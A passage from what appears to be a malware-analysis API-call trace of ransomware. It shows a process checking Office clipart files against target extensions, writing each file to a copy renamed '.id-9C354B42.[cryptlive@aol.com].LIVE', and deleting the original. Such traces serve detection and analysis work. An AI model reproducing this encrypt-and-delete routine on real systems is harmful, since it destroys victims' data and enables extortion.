Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0157.305] lstrlenW (lpString=".dbf") returned 4 [0157.305] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0157.306] lstrlenW (lpString=".1cd") returned 4 [0157.306] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0157.306] lstrlenW (lpString=".jpg") returned 4 [0157.306] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.307] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0157.307] lstrlenW (lpString="J0107718.WMF") returned 12 [0157.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0157.314] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=3800) returned 1 [0157.314] CloseHandle (hObject=0x384) returned 1 [0157.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf")) returned 0x20 [0157.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0157.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0157.400] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.400] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0157.401] GetLastError () returned 0x0 [0157.401] ReadFile (in: hFile=0x384, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0xed8, lpOverlapped=0x0) returned 1 [0157.444] WriteFile (in: hFile=0x1b0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xee0, lpOverlapped=0x0) returned 1 [0157.445] ReadFile (in: hFile=0x384, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0157.445] WriteFile (in: hFile=0x1b0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0157.445] SetEndOfFile (hFile=0x1b0) returned 1 [0157.446] CloseHandle (hObject=0x1b0) returned 1 [0157.446] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.446] SetEndOfFile (hFile=0x384) returned 1 [0157.448] CloseHandle (hObject=0x384) returned 1 [0157.448] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0157.448] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf")) returned 1 [0157.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0157.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0157.450] lstrlenW (lpString=".doc") returned 4 [0157.450] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.450] lstrlenW (lpString=".docx") returned 5 [0157.450] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0157.450] lstrlenW (lpString=".pdf") returned 4 [0157.450] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.450] lstrlenW (lpString=".xls") returned 4 [0157.450] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.450] lstrlenW (lpString=".xlsx") returned 5 [0157.450] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0157.450] lstrlenW (lpString=".ppt") returned 4 [0157.450] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0157.450] lstrlenW (lpString=".zip") returned 4 [0157.450] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.450] lstrlenW (lpString=".rar") returned 4 [0157.450] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.450] lstrlenW (lpString=".bz2") returned 4 [0157.450] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.450] lstrlenW (lpString=".7z") returned 3 [0157.450] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0157.450] lstrlenW (lpString=".dbf") returned 4 [0157.450] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0157.450] lstrlenW (lpString=".1cd") returned 4 [0157.450] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0157.450] lstrlenW (lpString=".jpg") returned 4 [0157.450] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0157.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0157.450] lstrlenW (lpString=".doc") returned 4 [0157.450] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.450] lstrlenW (lpString=".docx") returned 5 [0157.451] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0157.451] lstrlenW (lpString=".pdf") returned 4 [0157.451] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.451] lstrlenW (lpString=".xls") returned 4 [0157.451] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.451] lstrlenW (lpString=".xlsx") returned 5 [0157.451] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0157.451] lstrlenW (lpString=".ppt") returned 4 [0157.451] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0157.451] lstrlenW (lpString=".zip") returned 4 [0157.451] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.451] lstrlenW (lpString=".rar") returned 4 [0157.451] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.451] lstrlenW (lpString=".bz2") returned 4 [0157.451] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.451] lstrlenW (lpString=".7z") returned 3 [0157.451] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0157.451] lstrlenW (lpString=".dbf") returned 4 [0157.451] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0157.451] lstrlenW (lpString=".1cd") returned 4 [0157.451] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned 63 [0157.451] lstrlenW (lpString=".jpg") returned 4 [0157.451] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.451] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0157.451] lstrlenW (lpString="J0107722.WMF") returned 12 [0157.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0157.452] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=8260) returned 1 [0157.452] CloseHandle (hObject=0x384) returned 1 [0157.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf")) returned 0x20 [0157.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0157.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0157.453] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.453] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0157.454] GetLastError () returned 0x0 [0157.454] ReadFile (in: hFile=0x384, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x2044, lpOverlapped=0x0) returned 1 [0157.815] WriteFile (in: hFile=0x1b0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x2050, lpOverlapped=0x0) returned 1 [0157.816] ReadFile (in: hFile=0x384, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0157.816] WriteFile (in: hFile=0x1b0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0157.816] SetEndOfFile (hFile=0x1b0) returned 1 [0157.817] CloseHandle (hObject=0x1b0) returned 1 [0157.817] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.817] SetEndOfFile (hFile=0x384) returned 1 [0157.819] CloseHandle (hObject=0x384) returned 1 [0157.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0157.819] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf")) returned 1 [0157.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0157.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0157.821] lstrlenW (lpString=".doc") returned 4 [0157.821] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.821] lstrlenW (lpString=".docx") returned 5 [0157.821] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0157.821] lstrlenW (lpString=".pdf") returned 4 [0157.821] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.821] lstrlenW (lpString=".xls") returned 4 [0157.821] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.821] lstrlenW (lpString=".xlsx") returned 5 [0157.821] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0157.821] lstrlenW (lpString=".ppt") returned 4 [0157.821] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0157.821] lstrlenW (lpString=".zip") returned 4 [0157.821] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.821] lstrlenW (lpString=".rar") returned 4 [0157.821] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.821] lstrlenW (lpString=".bz2") returned 4 [0157.821] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.821] lstrlenW (lpString=".7z") returned 3 [0157.821] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0157.821] lstrlenW (lpString=".dbf") returned 4 [0157.821] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0157.821] lstrlenW (lpString=".1cd") returned 4 [0157.821] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0157.821] lstrlenW (lpString=".jpg") returned 4 [0157.821] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0157.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0157.822] lstrlenW (lpString=".doc") returned 4 [0157.822] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.822] lstrlenW (lpString=".docx") returned 5 [0157.822] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0157.822] lstrlenW (lpString=".pdf") returned 4 [0157.822] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.822] lstrlenW (lpString=".xls") returned 4 [0157.822] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.822] lstrlenW (lpString=".xlsx") returned 5 [0157.822] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0157.822] lstrlenW (lpString=".ppt") returned 4 [0157.822] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0157.822] lstrlenW (lpString=".zip") returned 4 [0157.822] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.822] lstrlenW (lpString=".rar") returned 4 [0157.822] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.822] lstrlenW (lpString=".bz2") returned 4 [0157.822] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.822] lstrlenW (lpString=".7z") returned 3 [0157.822] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0157.822] lstrlenW (lpString=".dbf") returned 4 [0157.822] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0157.822] lstrlenW (lpString=".1cd") returned 4 [0157.822] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0157.822] lstrlenW (lpString=".jpg") returned 4 [0157.822] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.823] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0157.823] lstrlenW (lpString="J0136865.WMF") returned 12 [0157.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0158.086] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=16710) returned 1 [0158.086] CloseHandle (hObject=0x1b0) returned 1 [0158.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf")) returned 0x20 [0158.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0158.087] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.087] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0158.087] GetLastError () returned 0x0 [0158.087] ReadFile (in: hFile=0x1b0, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x4146, lpOverlapped=0x0) returned 1 [0158.089] WriteFile (in: hFile=0x1b8, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x4150, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x4150, lpOverlapped=0x0) returned 1 [0158.090] ReadFile (in: hFile=0x1b0, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.090] WriteFile (in: hFile=0x1b8, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.090] SetEndOfFile (hFile=0x1b8) returned 1 [0158.090] CloseHandle (hObject=0x1b8) returned 1 [0158.091] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.091] SetEndOfFile (hFile=0x1b0) returned 1 [0158.094] CloseHandle (hObject=0x1b0) returned 1 [0158.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.094] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf")) returned 1 [0158.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0158.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0158.095] lstrlenW (lpString=".doc") returned 4 [0158.095] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.095] lstrlenW (lpString=".docx") returned 5 [0158.095] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0158.095] lstrlenW (lpString=".pdf") returned 4 [0158.095] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.095] lstrlenW (lpString=".xls") returned 4 [0158.095] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.095] lstrlenW (lpString=".xlsx") returned 5 [0158.095] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0158.095] lstrlenW (lpString=".ppt") returned 4 [0158.095] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0158.095] lstrlenW (lpString=".zip") returned 4 [0158.095] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.095] lstrlenW (lpString=".rar") returned 4 [0158.095] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.095] lstrlenW (lpString=".bz2") returned 4 [0158.095] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.095] lstrlenW (lpString=".7z") returned 3 [0158.095] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0158.095] lstrlenW (lpString=".dbf") returned 4 [0158.095] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0158.096] lstrlenW (lpString=".1cd") returned 4 [0158.096] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0158.096] lstrlenW (lpString=".jpg") returned 4 [0158.096] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0158.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0158.096] lstrlenW (lpString=".doc") returned 4 [0158.096] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.096] lstrlenW (lpString=".docx") returned 5 [0158.096] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0158.096] lstrlenW (lpString=".pdf") returned 4 [0158.096] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.096] lstrlenW (lpString=".xls") returned 4 [0158.096] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.096] lstrlenW (lpString=".xlsx") returned 5 [0158.096] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0158.096] lstrlenW (lpString=".ppt") returned 4 [0158.096] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0158.096] lstrlenW (lpString=".zip") returned 4 [0158.096] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.096] lstrlenW (lpString=".rar") returned 4 [0158.096] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.096] lstrlenW (lpString=".bz2") returned 4 [0158.096] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.096] lstrlenW (lpString=".7z") returned 3 [0158.096] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0158.096] lstrlenW (lpString=".dbf") returned 4 [0158.096] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0158.096] lstrlenW (lpString=".1cd") returned 4 [0158.096] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0158.097] lstrlenW (lpString=".jpg") returned 4 [0158.097] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.097] lstrcmpiW (lpString1=".JPG", lpString2=".LIVE") returned -1 [0158.097] lstrlenW (lpString="J0145904.JPG") returned 12 [0158.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" 